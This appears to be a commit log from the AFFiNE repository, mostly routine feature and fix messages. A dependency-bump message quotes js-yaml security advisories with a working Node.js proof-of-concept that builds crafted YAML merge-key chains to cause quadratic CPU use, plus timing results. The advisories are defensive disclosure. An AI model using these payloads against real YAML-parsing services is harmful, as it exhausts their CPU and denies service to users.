'tag:yaml.org,2002:merge') { if (Array.isArray(valueNode)) { for (index = 0, quantity = valueNode.length; index < quantity; index += 1) { mergeMappings(state, _result, valueNode[index], overridableKeys); } } else { mergeMappings(state, _result, valueNode, overridableKeys); } } When the merge value is a sequence (YAML 1.1 <<: [ *a, *a, ... ]), each element is handed to mergeMappings() without deduplication. mergeMappings() then does sourceKeys = Object.keys(source); for (index = 0; index < sourceKeys.length; index += 1) { key = sourceKeys[index]; if (!_hasOwnProperty.call(destination, key)) { setProperty(destination, key, source[key]); overridableKeys[key] = true; } } Every alias reference in the sequence resolves (by design) to the SAME object via state.anchorMap. After the first merge, every subsequent merge of that same reference is a pure no-op semantically, but still performs: * one Object.keys(source) call (O(K)) * K _hasOwnProperty.call checks on the destination Total: M * K hasOwnProperty checks + M Object.keys allocations, while the final object and all observable side effects are identical to a single merge. YAML semantics for `<<:` are idempotent and commutative over duplicate sources, so collapsing duplicates preserves behavior exactly; this isn't a spec trade-off. ##### PoC Environment: js-yaml version: 4.1.1 Node.js: v24.5.0 Platform: arm64 macOS (reproduced consistently) Reproduction script: Create many keys in one anchored map (&a). Merge that same alias repeatedly via <<: [*a, *a, ...]. Measure parse time and compare with control payload using single merge (<<: *a). Observed repeated runs (same machine): K=M=1000, input 9,909 bytes: ~33–36 ms K=M=2000, input 20,909 bytes: ~121–123 ms K=M=4000, input 42,909 bytes: ~524–537 ms K=M=6000, input 64,909 bytes: ~1,608–1,829 ms K=M=8000, input 86,909 bytes: ~3,395–3,565 ms Control (single merge, similar key counts): K=2000: ~1–2 ms K=4000: ~3 ms K=8000: ~5 ms Also verified: repeated-merge output equals single-merge output (same key count and same JSON), confirming excess time is redundant computation. ##### Impact This is a denial-of-service vulnerability (CPU exhaustion / algorithmic complexity). Any service parsing untrusted YAML with js-yaml can be impacted, including API backends, CI tools, config processors, and automation services. An attacker can submit crafted YAML to significantly increase CPU time and reduce availability. ##### Suggested fix: Dedupe the merge source list by reference before invoking mergeMappings. Any of the following are minimal and preserve YAML 1.1 merge semantics: dedupe in storeMappingPair: if (keyTag === 'tag:yaml.org,2002:merge') { if (Array.isArray(valueNode)) { var seen = new Set(); for (index = 0, quantity = valueNode.length; index < quantity; index += 1) { var src = valueNode[index]; if (seen.has(src)) continue; // idempotent; skip redundant alias seen.add(src); mergeMappings(state, _result, src, overridableKeys); } } else { mergeMappings(state, _result, valueNode, overridableKeys); } } #### Severity - CVSS Score: 5.3 / 10 (Medium) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L` #### References - [https://github.com/nodeca/js-yaml/security/advisories/GHSA-h67p-54hq-rp68](https://redirect.github.com/nodeca/js-yaml/security/advisories/GHSA-h67p-54hq-rp68) - [https://nvd.nist.gov/vuln/detail/CVE-2026-53550](https://nvd.nist.gov/vuln/detail/CVE-2026-53550) - [https://github.com/advisories/GHSA-h67p-54hq-rp68](https://redirect.github.com/advisories/GHSA-h67p-54hq-rp68) This data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-h67p-54hq-rp68) ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### js-yaml: YAML merge-key chains can force quadratic CPU consumption [CVE-2026-59869](https://nvd.nist.gov/vuln/detail/CVE-2026-59869) / [GHSA-52cp-r559-cp3m](https://redirect.github.com/advisories/GHSA-52cp-r559-cp3m) <details> <summary>More information</summary> #### Details ##### Impact js-yaml can spend quadratic CPU time parsing a document whose size grows only linearly. The issue is triggered by a chain of mappings where each mapping merges the previous one: ```yaml a0: &a0 { k0: 0 } a1: &a1 { <<: *a0, k1: 1 } a2: &a2 { <<: *a1, k2: 2 } a3: &a3 { <<: *a2, k3: 3 } ... b: *aN ``` For each new mapping, the loader has to enumerate the keys inherited from the previous mapping. With N chained mappings, this results in roughly 1 + 2 + ... + N merged-key visits, i.e., O(N^2) work for O(N) input size. ##### PoC From N = 4000 delay become > 1s (doc size < 100K) ```js import { performance } from 'node:perf_hooks' import { Buffer } from 'node:buffer' import { load, YAML11_SCHEMA } from 'js-yaml' const n = Number(process.argv[2] || 4000) function makeMergeChain (count) { const lines = ['a0: &a0 { k0: 0 }'] for (let i = 1; i < count; i++) { lines.push(`a${i}: &a${i} { <<: *a${i - 1}, k${i}: ${i} }`) } lines.push(`b: *a${count - 1}`) return `${lines.join('\n')}\n` } const source = makeMergeChain(n) console.log(source.split('\n').slice(0, 8).join('\n')) console.log('...') console.log(source.split('\n').slice(-4).join('\n')) console.log() console.log(`N: ${n}`) console.log(`YAML size: ${Buffer.byteLength(source)} bytes`) const started = performance.now() const result = load(source, { schema: YAML11_SCHEMA }) const elapsed = performance.now() - started console.log(`parse time: ${elapsed.toFixed(1)} ms`) console.log(`top-level keys: ${Object.keys(result).length}`) console.log(`b keys: ${Object.keys(result.b).length}`) ``` ##### Patches Fix released. The most robust protection is to limit the total number of merged keys per parse call. This should close all past and future edge cases with merge. The default 10K-key limit should be okay in most cases. #### Severity - CVSS Score: 7.5 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H` #### References - [https://github.com/nodeca/js-yaml/security/advisories/GHSA-52cp-r559-cp3m](https://redirect.github.com/nodeca/js-yaml/security/advisories/GHSA-52cp-r559-cp3m) - [https://nvd.nist.gov/vuln/detail/CVE-2026-59869](https://nvd.nist.gov/vuln/detail/CVE-2026-59869) - [https://github.com/nodeca/js-yaml/commit/24f13e79ee1343a7e30bd6f6c9d9cdbf0ac9b2b7](https://redirect.github.com/nodeca/js-yaml/commit/24f13e79ee1343a7e30bd6f6c9d9cdbf0ac9b2b7) - [https://github.com/nodeca/js-yaml/commit/59423c6f8cdc78742ac00e25a4dd39ef16b702e4](https://redirect.github.com/nodeca/js-yaml/commit/59423c6f8cdc78742ac00e25a4dd39ef16b702e4) - [https://github.com/nodeca/js-yaml/releases/tag/3.15.0](https://redirect.github.com/nodeca/js-yaml/releases/tag/3.15.0) - [https://github.com/nodeca/js-yaml/releases/tag/4.3.0](https://redirect.github.com/nodeca/js-yaml/releases/tag/4.3.0) - [https://github.com/advisories/GHSA-52cp-r559-cp3m](https://redirect.github.com/advisories/GHSA-52cp-r559-cp3m) This data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-52cp-r559-cp3m) ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Release Notes <details> <summary>nodeca/js-yaml (js-yaml)</summary> ### [`v4.3.0`](https://redirect.github.com/nodeca/js-yaml/compare/4.2.0...33d05b5d29a8c21360f620f7e1c1706e24522eda) [Compare Source](https://redirect.github.com/nodeca/js-yaml/compare/4.2.0...4.3.0) </details> --- ### Configuration 📅 **Schedule**: (UTC) - Branch creation - At any time (no schedule defined) - Automerge - At any time (no schedule defined) 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4yNzIuNCIsInVwZGF0ZWRJblZlciI6IjQzLjI3Mi40IiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==--> Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com> |
||
|
|
b1abd8db54 |
fix(core): selfhosted auth handling (#15295)
fix #15284 fix #15266 fix #15268 fix #15267 #### PR Dependency Tree * **PR #15295** 👈 This tree was auto-generated by [Charcoal](https://github.com/danerwilliams/charcoal) |
||
|
|
bb55d6fd21 |
feat(server): impl doc gc (#15282)
#### PR Dependency Tree * **PR #15282** 👈 This tree was auto-generated by [Charcoal](https://github.com/danerwilliams/charcoal) <!-- This is an auto-generated comment: release notes by coderabbit.ai --> ## Summary by CodeRabbit * **New Features** * Added automated document cleanup to reconcile missing workspace docs, delete related stored data, and recover if the doc returns. * Added effect-based follow-up reconciliation for search indexing, Copilot embeddings, and comment attachment cleanup with explicit acknowledgements. * **Bug Fixes** * Deleted-document references now persist as dangling references rather than disappearing. * Improved document deletion flow to enforce permissions and ensure authorized deletions succeed. * **Tests** * Expanded coverage for cleanup recovery, indexing/embedding reconciliation, permissions, and reference semantics. <!-- end of auto-generated comment: release notes by coderabbit.ai -->v2026.7.20-canary.1002 |
||
|
|
81df4751a3 |
fix(server): blob gc (#15280)
#### PR Dependency Tree * **PR #15280** 👈 This tree was auto-generated by [Charcoal](https://github.com/danerwilliams/charcoal) <!-- This is an auto-generated comment: release notes by coderabbit.ai --> ## Summary by CodeRabbit * **Bug Fixes** * Improved workspace document discovery so documents in trashed pages are correctly included when loading workspace content. * Fixed dragging collections into Favorites, including reordering collections within Favorites. * **Tests** * Added coverage for document projection behavior and collection drag-and-drop interactions. <!-- end of auto-generated comment: release notes by coderabbit.ai -->v0.27.2-beta.1 v0.27.2 |
||
|
|
9122cfd108 |
chore: bump up Node.js to v22.23.1 (#15277)
This PR contains the following updates: | Package | Update | Change | |---|---|---| | [node](https://nodejs.org) ([source](https://redirect.github.com/nodejs/node)) | patch | `22.23.0` → `22.23.1` | --- ### Release Notes <details> <summary>nodejs/node (node)</summary> ### [`v22.23.1`](https://redirect.github.com/nodejs/node/releases/tag/v22.23.1): 2026-06-23, Version 22.23.1 'Jod' (LTS), @​RafaelGSS [Compare Source](https://redirect.github.com/nodejs/node/compare/v22.23.0...v22.23.1) This release includes a fix for an unexpected behavior introduced by the recent security release (22.23.0). ##### Commits - \[[`41d2ee13be`](https://redirect.github.com/nodejs/node/commit/41d2ee13be)] - **build**: switch coverage-windows to `windows-2022` (Richard Lau) [#​63940](https://redirect.github.com/nodejs/node/pull/63940) - \[[`eaa292549e`](https://redirect.github.com/nodejs/node/commit/eaa292549e)] - **http**: avoid stream listeners on idle agent sockets (Matteo Collina) [#​64004](https://redirect.github.com/nodejs/node/pull/64004) </details> --- ### Configuration 📅 **Schedule**: (UTC) - Branch creation - At any time (no schedule defined) - Automerge - At any time (no schedule defined) 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4yNjUuMSIsInVwZGF0ZWRJblZlciI6IjQzLjI2NS4xIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==--> Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com> |
||
|
|
d24c17f300 |
feat(core): improve auth handling (#15271)
fix #15270 fix #15260 fix #15257 #### PR Dependency Tree * **PR #15271** 👈 This tree was auto-generated by [Charcoal](https://github.com/danerwilliams/charcoal)v0.27.2-beta.0 |
||
|
|
427db39862 | chore: update docs | ||
|
|
0c7be44499 | chore: cleanup logs v0.27.1 | ||
|
|
a6b00a93c0 |
fix(server): mcp api visibility (#15247)
fix #15246 #### PR Dependency Tree * **PR #15247** 👈 This tree was auto-generated by [Charcoal](https://github.com/danerwilliams/charcoal) <!-- This is an auto-generated comment: release notes by coderabbit.ai --> ## Summary by CodeRabbit * **Bug Fixes** * Improved consistency when issuing and validating MCP credential tokens by using a shared token prefix across issuance and parsing. * Preserved correct recognition of standard JWT-based authentication tokens. * **Tests** * Updated MCP credentials coverage to validate behavior through the HTTP API response (instead of direct controller invocation). * Adjusted workspace quota e2e setup to derive restricted limits via entitlements before reconciling quota state. <!-- end of auto-generated comment: release notes by coderabbit.ai --> |
||
|
|
c61cc6a86f | fix(server): missing query cache v0.27.0 | ||
|
|
3bbc890bcb | fix: migration ownership v0.27.0-beta.7 | ||
|
|
e145d87d56 | feat(server): cleanup legacy compatibility (#15239) | ||
|
|
00d4ab10a1 | chore: bump version | ||
|
|
9d1570a703 | fix(i18n): learn more typo (#15230) | ||
|
|
cfd1b67d8c |
fix(core): version guard (#15226)
fix #15225 #### PR Dependency Tree * **PR #15226** 👈 This tree was auto-generated by [Charcoal](https://github.com/danerwilliams/charcoal) <!-- This is an auto-generated comment: release notes by coderabbit.ai --> ## Summary by CodeRabbit * **Bug Fixes** * Improved self-hosted server version validation. * Correctly supports compatible beta and release-candidate versions. * Rejects outdated pre-release versions consistently. * Provides the appropriate unsupported-version guidance when compatibility requirements are not met. <!-- end of auto-generated comment: release notes by coderabbit.ai -->v0.27.0-beta.6 |
||
|
|
0c16d7110d |
feat: improve native preview (#15223)
#### PR Dependency Tree * **PR #15223** 👈 This tree was auto-generated by [Charcoal](https://github.com/danerwilliams/charcoal) <!-- This is an auto-generated comment: release notes by coderabbit.ai --> ## Summary by CodeRabbit * **Improvements** * Updated Mermaid and Typst preview rendering in native/mobile apps to use a shared preview implementation. * Improved production Release builds with additional Rust release tuning and enhanced iOS Release stripping/symbol settings. * Enabled stronger release output optimization for the native package build. * **Bug Fixes** * Strengthened handling of unsupported self-hosted server versions during login preflight. * Refreshed unsupported-version messaging with localized text and a direct upgrade link. * **Tests** * Added coverage for login preflight behavior when the server version is unsupported. <!-- end of auto-generated comment: release notes by coderabbit.ai -->v0.27.0-beta.5 |
||
|
|
9b81c6debd |
feat(core): improve mcp management (#15221)
#### PR Dependency Tree * **PR #15221** 👈 This tree was auto-generated by [Charcoal](https://github.com/danerwilliams/charcoal) <!-- This is an auto-generated comment: release notes by coderabbit.ai --> ## Summary by CodeRabbit * **New Features** * Added MCP credential management (create/reveal, list, rotate, revoke) with expiration and status tracking. * Introduced read-only vs read/write access modes, with read/write tooling enabled only when permitted. * Added workspace MCP credential configuration UI, including token reveal and setup generation. * Added MCP credential GraphQL APIs to back the UI. * **Changes** * Replaced legacy access-token support with MCP credentials across authentication and realtime updates. * **Bug Fixes** * MCP authentication now reliably rejects revoked, rotated, expired, or disabled-user credentials. <!-- end of auto-generated comment: release notes by coderabbit.ai --> |
||
|
|
abf37d3dfa |
feat(core): improve login flow (#15219)
#### PR Dependency Tree * **PR #15219** 👈 This tree was auto-generated by [Charcoal](https://github.com/danerwilliams/charcoal) <!-- This is an auto-generated comment: release notes by coderabbit.ai --> ## Summary by CodeRabbit * **New Features** * Added secure, automatic auth session token refresh and request replay for expired-token responses across Android, iOS, and Electron. * Updated sign-in flows to manage sessions without returning tokens to the app layer. * Added “Devices” management UI with sign out per device and sign out all. * Enabled support for both Hashcash and Turnstile captcha providers. * **Bug Fixes** * Improved refresh de-duplication, inflight cancellation/clear behavior, and recovery from corrupted/invalid sessions. * **Tests** * Expanded auth-session, refresh/revoke, and replay coverage (Electron unit tests, Android instrumentation tests, iOS auth date parser tests). * **Chores** * Removed CAPTCHA site key from build-time configuration and adjusted CI test execution. <!-- end of auto-generated comment: release notes by coderabbit.ai --> |
||
|
|
02b25e05d8 | feat(server): support refresh token (#15218) | ||
|
|
aea128f0b9 | chore: bump deps | ||
|
|
b22bc17bd0 |
fix(server): align native JWT session TTL with auth session TTL (#15210)
## Summary This is a backend-only workaround for native/mobile sessions expiring much earlier than the normal AFFiNE auth session. Native JWT-backed sessions now use the existing `auth.session.ttl` instead of the hard-coded 15-minute TTL. No database migration, no new config, and no mobile client changes are required. ## Background / Investigation PR #15060 introduced native session exchange and JWT-backed native sessions for mobile/desktop clients. Relevant code introduced there: - `packages/backend/server/src/core/auth/session-issuer.ts` - Native clients no longer receive normal auth cookies. - `SessionIssuer` clears cookies for native clients and returns a native session exchange code instead. - `packages/backend/server/src/core/auth/native-exchange.ts` - Native clients exchange the one-time code for a JWT-backed session token. - `packages/backend/server/src/core/auth/jwt-session.ts` - The JWT session implementation was introduced with: - `const JWT_SESSION_TTL = 15 * 60` - `expiresIn: JWT_SESSION_TTL` - normal `jwt.verify(...)` expiration enforcement That means a native/mobile client that does not reconnect and exchange/sign in again within 15 minutes can lose backend auth even though the DB-backed AFFiNE user session is still valid for the normal app session TTL, currently 15 days by default. Web does not hit this path because web keeps using the normal cookie-backed session issued by `AuthService`, whose expiration is based on `auth.session.ttl`. ## Related Issues / PRs Checked - Source PR: #15060 - Introduced native session exchange, JWT-backed sessions, native token storage, and websocket JWT support. - This PR appears to be the source of the hard-coded 15-minute native JWT TTL behavior. I did not find a public issue that directly reports "native JWT expires after 15 minutes". ## What Changed - Removed the hard-coded 15-minute native JWT TTL. - Updated `JwtSessionService.sign()` to issue native JWTs with `auth.session.ttl`. - Kept `JwtSessionService.verify()` on normal JWT expiration verification, so existing JWTs that already expired under the previous 15-minute `exp` need to be refreshed by signing in again. - Kept the existing DB-backed session lookup: - sign-out still revokes the native JWT by deleting the backing session - expired/deleted DB sessions still reject the JWT ## Why This Is A Workaround A more complete long-term design would add a true refresh-token flow for native clients, likely with persisted refresh tokens, rotation/revocation semantics, and database changes. This PR intentionally avoids that larger design. It restores the expected mobile login lifetime for newly issued native JWTs by aligning native JWT lifetime with the existing app session lifetime, while preserving the current native exchange model, Keychain/Keystore storage, and revoke-by-session behavior. ## Compatibility - Backend only - No DB schema change - No mobile app change - No new config - Existing native JWTs that already expired under the old 15-minute `exp` will still require signing in again. - Newly issued native JWTs use `auth.session.ttl`. ## Verification Latest verification after removing the extra native JWT TTL config: - JWT session tests: 4 passed - `yarn typecheck`: passed - `lint-staged`: passed via `corepack yarn` - `lint:ox`: passed via `corepack yarn` Earlier broader checks on this branch also passed selected auth tests and the websocket JWT auth subset. <!-- This is an auto-generated comment: release notes by coderabbit.ai --> ## Summary by CodeRabbit * **New Features** * Session login tokens now follow the configured session lifetime, so expiration behavior can be adjusted through app settings. * **Bug Fixes** * Improved consistency between token expiration and session expiry checks. * Added coverage for cases where a session is missing, expired, or the session lifetime changes. <!-- end of auto-generated comment: release notes by coderabbit.ai --> |
||
|
|
a868f54eeb |
fix(ios): stabilize keyboard toolbar, image picker, and scrolling (#15182)
## Summary - keep the editor active when iOS keyboard toolbar interactions move focus into range-sync excluded widgets - use the native iOS image picker/source sheet and sync native presentation with the app theme - pin `ListViewKit` to `1.1.6` so the iOS workspace resolves with Xcode 16.3 - restore vertical scrolling in the iOS `WKWebView` by removing the global `contentOffset` reset while preserving zoom prevention ## Test plan - [x] `yarn vitest --run --config \"vitest.config.ts\" --browser.enabled=false \"src/__tests__/inline/active.unit.spec.ts\"` - [x] `LANG=en_US.UTF-8 LC_ALL=en_US.UTF-8 xcodebuild -resolvePackageDependencies -workspace \"packages/frontend/apps/ios/App/App.xcworkspace\" -scheme \"App\"` - [x] `xcodebuild -workspace \"App.xcworkspace\" -scheme \"App\" -destination \"generic/platform=iOS Simulator\" build CODE_SIGNING_ALLOWED=NO ONLY_ACTIVE_ARCH=YES ARCHS=arm64` - [x] Xcode build validation for the updated PR branch |
||
|
|
9f8e5c0eb3 | chore: improve test stability v0.27.0-beta.4 | ||
|
|
fe2a4db76b | feat(core): improve dashboard style (#15205) | ||
|
|
631e4af9b9 | fix(i18n): outdated entries | ||
|
|
19b770bddf |
feat(i18n): update German translation (#15201)
<!-- This is an auto-generated comment: release notes by coderabbit.ai --> ## Summary by CodeRabbit - **New Features** - Added German translations for new import options, including Notion Markdown ZIP and OneNote. - Included localized helper text for import tips and availability notes, such as desktop-only guidance. - **Copy Updates** - Updated the Notion import label to indicate it is experimental. - Expanded the German wording for import-related tooltips and descriptions. <!-- end of auto-generated comment: release notes by coderabbit.ai --> |
||
|
|
998b255afd | feat(server): refactor mail queue (#15204) | ||
|
|
9581432d21 |
feat(core): onenote importer (#15198)
#### PR Dependency Tree * **PR #15198** 👈 This tree was auto-generated by [Charcoal](https://github.com/danerwilliams/charcoal) <!-- This is an auto-generated comment: release notes by coderabbit.ai --> ## Summary by CodeRabbit * **New Features** * Added OneNote import support for `.one`, `.onetoc2`, and `.onepkg`, including OneNote-to-markdown content conversion. * OneNote now appears in the import flow with a dedicated label and format tooltip, and file pickers recognize the new OneNote type. * **Bug Fixes** * Import options that are desktop-only are now disabled when not running in the desktop app, with clear messaging. * Improved imported asset handling by converting non-image embedded assets into attachments for more consistent results. <!-- end of auto-generated comment: release notes by coderabbit.ai -->v0.27.0-beta.3 |
||
|
|
8d72e4dc29 |
feat(core): import progress & perf (#15197)
#### PR Dependency Tree * **PR #15197** 👈 This tree was auto-generated by [Charcoal](https://github.com/danerwilliams/charcoal) <!-- This is an auto-generated comment: release notes by coderabbit.ai --> ## Summary by CodeRabbit * **New Features** * Added a new import pipeline with “plan then commit” batch handling for Markdown, Notion HTML, Obsidian, and Bear backups. * Enabled native import sessions with progress, cancellation, and batch-by-batch committing (including assets, folders, icons, and tags). * Added web preflight limits for ZIP and multi-file imports. * **Bug Fixes** * Improved import error/warning reporting and continued processing when some items fail. * Strengthened snapshot-based file/directory picking to preserve paths. * **Chores** * Updated project packaging/configuration for the new import workflow. <!-- end of auto-generated comment: release notes by coderabbit.ai --> |
||
|
|
477015f064 |
feat(core): support Notion markdown zip imports (#14910)
## What changed - Markdown zip imports now resolve local `.md` links like `./test/2.md` into AFFiNE linked-page references when the target document exists in the same archive. - Added Notion Markdown `.zip` import support in the desktop import dialog, including nested zip traversal, Notion title extraction, hash-stripped folder names, attachments, and folder hierarchy integration. - Added i18n entries and adapter coverage for standard Markdown zip links and Notion Markdown zip imports. ## Why Markdown and Notion exports often contain links between notes using relative `.md` paths. Keeping those as plain URLs makes imported workspaces harder to navigate, so the importer now preassigns document ids and rewrites resolvable archive-local markdown links into linked pages. ## Notes The markdown zip folder hierarchy implementation now comes from latest `origin/canary`, so this PR only layers relative-link resolution and Notion Markdown zip support on top of that upstream behavior. ## Validation - `yarn vitest --run blocksuite/affine/all/src/__tests__/adapters/markdown.unit.spec.ts` - `yarn tsc -b blocksuite/affine/all/tsconfig.json --verbose` - `git diff --check` <!-- This is an auto-generated comment: release notes by coderabbit.ai --> ## Summary by CodeRabbit * **New Features** * Added support for importing Notion Markdown exports in `.zip` format, including subpages, attachments, and nested folders. * Internal links inside imported Markdown now resolve correctly between pages, preserving link text when available. * The import dialog now includes a dedicated “Notion (Markdown, .zip)” option. * **Bug Fixes** * Improved filename handling so non-Latin characters in ZIP imports are preserved correctly. <!-- end of auto-generated comment: release notes by coderabbit.ai --> --------- Co-authored-by: DarkSky <25152247+darkskygit@users.noreply.github.com> Co-authored-by: DarkSky <darksky2048@gmail.com> |
||
|
|
8063af2da8 |
feat(i18n): update German translation (#15159)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **New Features**
* Added a German invite notification title with a `{{count}}`
placeholder.
* **Bug Fixes**
* Improved German messaging for unsupported server/client version
mismatches, including a `{{requiredVersion}}` placeholder.
* **Updates**
* Refreshed German UI wording to consistently use “AFFiNE Sync” across
sign-in/onboarding, publishing/sharing, collaboration tips,
storage/autodelete guidance, and related confirmations (including
password reset and sign-out).
* Updated the workspace chat sub-path label to “KI-Chat”.
* **Chores**
* Updated German localization completeness score (99 → 100).
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
|
||
|
|
65f4604094 | fix(server): tool call test | ||
|
|
a7f824c42b | fix(server): schema preflight for tool call (#15172) | ||
|
|
06a89d478e | fix: test & lint | ||
|
|
296a4c2f81 |
fix(server): dashboard query (#15195)
#### PR Dependency Tree * **PR #15195** 👈 This tree was auto-generated by [Charcoal](https://github.com/danerwilliams/charcoal) <!-- This is an auto-generated comment: release notes by coderabbit.ai --> ## Summary by CodeRabbit * **Bug Fixes** * Admin dashboard storage history now returns a continuous day-by-day trend, carrying forward the last known workspace and blob storage values for days without samples. * Active member counts for workspace analytics were corrected to reflect active workspace members. * **New Features** * Admin workspace member roles are now returned via a dedicated role enum, serialized as enum name strings (e.g., `Owner`). * **UI Improvements** * Renamed key labels to “Active Members” and “Members and Invitations”; member roles use pill badges and non-accepted statuses are shown. * **Tests** * Added E2E coverage for role enum serialization and strengthened storage history assertions. <!-- end of auto-generated comment: release notes by coderabbit.ai --> |
||
|
|
7cfedbd49d | feat: improve ci (#15194) | ||
|
|
c36b5b201e |
chore(i18n): update i18n (#15191)
#### PR Dependency Tree * **PR #15191** 👈 This tree was auto-generated by [Charcoal](https://github.com/danerwilliams/charcoal) <!-- This is an auto-generated comment: release notes by coderabbit.ai --> ## Summary by CodeRabbit * **New Features** * Updated sign-in, sign-up, and email content to show the correct server name for cloud and self-hosted setups. * Added clearer workspace status messages for syncing, local workspaces, and server-connected workspaces. * Introduced localized text updates for more languages, including new locale coverage. * **Bug Fixes** * Replaced outdated “Cloud” wording throughout the app with more accurate “Sync” and self-hosted terminology. * Improved account deletion, password reset, sharing, and storage prompts for clearer user guidance. * Updated workspace status labels and tooltips to better reflect the current server connection. <!-- end of auto-generated comment: release notes by coderabbit.ai -->v0.27.0-beta.2 |
||
|
|
cebd7296b1 |
fix(ios): restore simulator Rust build outputs (#15190)
- sync the iOS ATT pod lockfile with the Capacitor plugin version already referenced by the repo - make `xc-universal-binary.sh` produce a real universal simulator Rust archive for `arm64` and `x86_64` - run `uniffi-bindgen` against a single-slice archive before assembling the fat simulator output - [x] `bash -n packages/frontend/apps/ios/App/xc-universal-binary.sh` - [x] `xcodebuild -workspace \"App.xcworkspace\" -scheme App -destination 'generic/platform=iOS Simulator' -derivedDataPath \".derivedData-rebuild\" build` <!-- This is an auto-generated comment: release notes by coderabbit.ai --> * **Bug Fixes** * Improved the iOS build process so universal binaries are generated from consistent output locations, reducing build path issues. * Made device and simulator library handling more reliable during packaging and code generation, helping produce the expected app binaries more consistently. <!-- end of auto-generated comment: release notes by coderabbit.ai --> |
||
|
|
1f0bcd01a3 |
fix: enforce Doc.Read permission on workspace histories field (#15192)
The histories() resolver was returning document edit history (including editor names, emails, and timestamps) without checking Doc.Read permission first. This let any workspace member view history for private docs they weren't given access to, by passing an arbitrary document guid. Added the same permission check already used by WorkspaceDocResolver.doc() and recoverDoc() in this file. Fixes #15179 <!-- This is an auto-generated comment: release notes by coderabbit.ai --> ## Summary by CodeRabbit * **Bug Fixes** * Added permission checks when viewing document history so only authorized users can access snapshot histories. * Prevented workspace collaborators without read access from querying histories for private documents. * **Tests** * Added an end-to-end test to verify history access is denied when the required permission is missing. <!-- end of auto-generated comment: release notes by coderabbit.ai --> |
||
|
|
5b7f83a6e3 | feat(server): batch blob gc (#15183) | ||
|
|
6f9269498f | fix(server): blob gc planning | ||
|
|
e5d44b8ff2 | fix(server): s3 metadata encode | ||
|
|
8c68319094 | feat(server): improve client builder | ||
|
|
8ebdb7452f |
feat(server): impl storage runtime (#15181)
#### PR Dependency Tree * **PR #15181** 👈 This tree was auto-generated by [Charcoal](https://github.com/danerwilliams/charcoal) <!-- This is an auto-generated comment: release notes by coderabbit.ai --> ## Summary by CodeRabbit * **New Features** * Added an additional storage backend option: asset-pack based storage (provider for avatar, blob, and copilot). * Introduced a dedicated storage runtime with provider capability reporting and expanded object operations (put/head/get/list/delete), including presigned and multipart flows where supported. * Cloudflare R2 `jurisdiction` now uses an explicit default when omitted. * **Bug Fixes** * Broadened avatar access to allow both fs and asset-pack providers. * Improved workspace blob upload completion validation and handling when stored objects are missing or mismatched. <!-- end of auto-generated comment: release notes by coderabbit.ai --> |
||
|
|
da7d438377 |
fix: enforce quota for comment attachments (#15149)
## Summary This change includes comment attachments in workspace storage usage and checks workspace storage quota before accepting a new comment attachment upload. ## Impact Comment attachments already had a per-file size limit, but they were not counted in the same workspace storage usage path as other uploaded blobs. A user with comment permission could keep adding attachments without those bytes participating in workspace storage quota calculations. ## Fix - Count comment attachment bytes in workspace storage usage reconciliation. - Check the workspace quota before storing a new comment attachment. - Return the existing comment attachment quota error when the upload would exceed limits. ## Validation - `git diff --check` - Full test/lint suite was not run locally because dependencies are not installed in this checkout. <!-- This is an auto-generated comment: release notes by coderabbit.ai --> ## Summary by CodeRabbit * **New Features** * Workspace attachment uploads now respect storage and file quota limits more accurately. * Workspace storage tracking now includes comment attachments, improving quota enforcement. * **Bug Fixes** * Attachment uploads now fail with a clear quota error when a workspace is out of space or blob capacity. * Storage usage calculations now better reflect actual workspace content, including non-deleted files. <!-- end of auto-generated comment: release notes by coderabbit.ai --> Signed-off-by: failsafesecurity <190101117+failsafesecurity@users.noreply.github.com> |
||
|
|
a821f67fc9 | fix: config override |